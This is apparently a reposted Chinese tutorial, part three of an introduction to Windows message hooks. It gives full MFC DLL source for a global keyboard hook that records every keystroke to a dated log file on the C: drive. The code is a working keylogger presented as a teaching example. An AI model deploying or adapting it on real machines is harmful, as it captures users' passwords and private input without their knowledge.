消息钩子函数入门篇--(3)示例__键盘钩子

来源:互联网 发布:怎么控制js隐藏div 编辑:程序博客网 时间:2024/05/18 06:47

下面是一个键盘钩子的示例,例子完成的任务是记录键盘的击键信息,保存到一个文件中。

1)建立MFC扩展DLL,设置工程名称为:KeyHook

2)在工程中添加KeyHook.h文件,然后加入键盘钩子类:

class AFX_EXT_CLASS CKeyHook:public CObject
{
public:
 CKeyHook();
 ~CKeyHook();
 bool SetKeyHook();
 bool UnSetKeyHook();

}; 

3)在KeyHook.cpp中添加如下黑体字部分的代码:

#include "stdafx.h"
#include <afxdllx.h>
#include "KeyHook.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam);
HHOOK hKeyHook;
HINSTANCE glHinstance;
static AFX_EXTENSION_MODULE KeyHookDLL = { NULL, NULL };

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 // Remove this if you use lpReserved
 UNREFERENCED_PARAMETER(lpReserved);

 if (dwReason == DLL_PROCESS_ATTACH)
 {
  TRACE0("KEYHOOK.DLL Initializing!/n");
  
  // Extension DLL one-time initialization
  if (!AfxInitExtensionModule(KeyHookDLL, hInstance))
   return 0;

  // Insert this DLL into the resource chain
  // NOTE: If this Extension DLL is being implicitly linked to by
  //  an MFC Regular DLL (such as an ActiveX Control)
  //  instead of an MFC application, then you will want to
  //  remove this line from DllMain and put it in a separate
  //  function exported from this Extension DLL.  The Regular DLL
  //  that uses this Extension DLL should then explicitly call that
  //  function to initialize this Extension DLL.  Otherwise,
  //  the CDynLinkLibrary object will not be attached to the
  //  Regular DLL's resource chain, and serious problems will
  //  result.

  new CDynLinkLibrary(KeyHookDLL);
  glHinstance=hInstance;
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0("KEYHOOK.DLL Terminating!/n");
  // Terminate the library before destructors are called
  AfxTermExtensionModule(KeyHookDLL);
 }
 return 1;   // ok
}
CKeyHook::CKeyHook()
{

}
CKeyHook::~CKeyHook()
{
 UnSetKeyHook();
}
bool CKeyHook::SetKeyHook( )
{
 hKeyHook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,glHinstance,0);
    return true;
}
bool CKeyHook::UnSetKeyHook()
{
 if (hKeyHook)
 {
  bool result=UnhookWindowsHookEx(hKeyHook);
  if (result)
  {
   hKeyHook=NULL;
  }
 }
 return true;
}
void SaveLog(char *c)
{
 CTime tm=CTime::GetCurrentTime();
 CString strName;
 strName.Format("C://key_%d_%d.log",tm.GetMonth(),tm.GetDay());
 CFile file;
 if (!file.Open(strName,CFile::modeReadWrite))
 {
  file.Open(strName,CFile::modeCreate|CFile::modeReadWrite);
 }
 file.SeekToEnd();
 file.Write(c,1);
 file.Close();
}
LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
 LRESULT result=CallNextHookEx(hKeyHook,nCode,wParam,lParam);
 if (nCode==HC_ACTION)
 {
  if (lParam&0x80000000)//转化为按键弹起
  {
   char c[1];
   c[0]=wParam;
   SaveLog(c);
   if (c[0]==13)
   {
    c[0]=10;
    SaveLog(c);
   }
  }
 }
 return result;
}

4)编译程序,生成KeyHook.dll,KeyHook.lib。将KeyHook.dll,KeyHook.lib,KeyHook.h拷贝到应用程序目录下,进行测试即可。